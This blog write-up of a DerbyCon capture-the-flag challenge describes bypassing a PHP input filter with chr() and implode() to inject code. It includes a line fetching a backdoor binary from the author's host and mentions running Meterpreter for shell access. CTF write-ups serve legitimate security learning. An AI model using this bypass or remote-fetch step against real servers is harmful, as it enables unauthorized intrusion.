Hacking the Hard Way at the DerbyCon CTF

DerbyCon in Louisville is one of those conferences that you have to go back to every year. While the conference hosts a ton of great talks, the tradition for myself and several friends is to participate in the capture the flag (CTF) competition.

A long tradition of CTFs

This year’s CTF did not disappoint, and we finished within the top 10 and had a great time. In this post I’ll want to talk about one particular challenge from the CTF that required bypassing input filtering in order to perform PHP code injection.

The interesting thing about hacking on a challenge like this is there is not just one solution. In this case, the expected solution was actually pretty straight forward as you’ll see. But because of a silly assumption I made, I ventured down a complete round about way of solving it. Perhaps this round about way can be useful to you if you are a web application pen tester or a CTF junkie.

Our team name is loosely related to a type of mystical horse :-)

The Target

The CTF was properly themed as it is election season, and one of the web servers was the Republican National Convention’s primary server.

Because every political convention needs a primary server

Nothing unordinary about this web site, so let’s take a look at the page source…

Because every web server needs a test.php

A nice obvious clue there, so let’s load up test.php…

Because you should always login with phpinfo()

Another obvious, but interesting, find. So let’s click the login button and see what happens.

Never trust an input filter that thinks phpinfo() is good looking code

Ok, so it appears we can enter PHP code directly into the field and it will execute. It should be relatively easy to get shell access to the server! Crafting a payload to execute file_get_contents(“http://myhost/mybackdoor.bin”) would be a good first step to getting persistent shell access. But it actually wasn’t going to be that easy. The web application had implemented some basic input filtering, and was blocking any input containing several key characters like:

‘ “ < > % . ; $ | &

While attempting to use these characters in our payload earned us some flags, the filtering meant we couldn’t specify string values in function parameters.

Yes, I was attempting to abuse the test page

Assumptions

Given what we’ve seen so far I made a few assumptions. The first assumption was anything we enter as input ends up in an eval() function and executes, so we know we need to use PHP code/functions. Second, we can’t enter string parameters into functions since the use of single and double quotes will result in the request being blocked. However, input filtering like this can often be bypassed with encoding. An encoding algorithm that doesn’t contains any of the filtered characters is base64. Using base64 would result in a payload that would look something like:

exec(base64_decode('c29tZSBjb21tYW5kLg=='))

This is where my bad assumption comes into play. I assumed the base64_decode() function required quotes surrounding the base64 encoded value so I never attempted to try it. After all, a base64 encoded value is a string in itself, so it must require quotes! My assumption turned out to be wrong, but at least it gave me an “opportunity” to solve the challenge the hard way :-)

The Hard Way

The challenge was now how do you call PHP functions that require string values, but you can’t provide any literal string values. One function that could help came to mind, it was the chr() function. This function takes an integer as a parameter, which doesn’t require quotes, and converts it to the integers corresponding ascii character value. For example, chr(97) returns the letter “a”. I could then use chr() to convert every letter of every string I need to pass. However, this would require concatenation to form a string out of individual letters, and concatenation in PHP requires a period, which is a filtered character. For example this would print “hello”:

print(chr(104) . chr(101) . chr(108) . chr(108) . chr(111))

and this would be a syntax error:

print(chr(104) chr(101) chr(108) chr(108) chr(111))

Thinking about it more I realized there could be a possible way to do this with the implode() function. The implode() function takes an array of “pieces” and “glues” them together with another string. But in this case I don’t want the “glue” to be a string, I want it to be nothing so all my little chr()’s can for the commands I want. Also, I can’t pass a string literal to implode() since using quotes will be blocked. NULL to the rescue! As it turns out implode() will accept NULL as the “glue”, and this doesn’t require the use of quotes.

Okay… deep breath. The final set of steps are:

Take a command like “ls -l” and convert it to the corresponding ascii integer values, 108 115 32 45 109

Apply the chr() function to each of those ascii integers, chr(108) chr(115) chr(32) chr(45) chr(109)

Place all the car()’s into an array, array(chr(108),chr(115),chr(32),chr(45),chr(109))

Apply the implode() function to the array with NULL as the glue, implode(NULL, array(chr(108),chr(115),chr(32),chr(45),chr(109)))

Now I have a string that I can pass to any PHP function, like exec() to execute command line commands on the server. The final payload for running “ls -l” would be:

With a working filter bypass in hand, we then proceeded executing the following commands to gain control of the server, where each of the strings in double quotes had to be passed using implode(NULL, array())

The mybackdoor.bin file was a Meterpreter binary that gave us shell access once it is executed. Once we had access to the server we were off to hunting for more flags!

Conclusion

I guess I can say doing things the hard way made it more interesting. However, had I just tried using the base64 decoded it could have saved a lot of time. Regardless, we had fun. And if you ever find yourself in a situation where you need to implode a string from an array of chars, below is a Python script to help make that process a bit faster!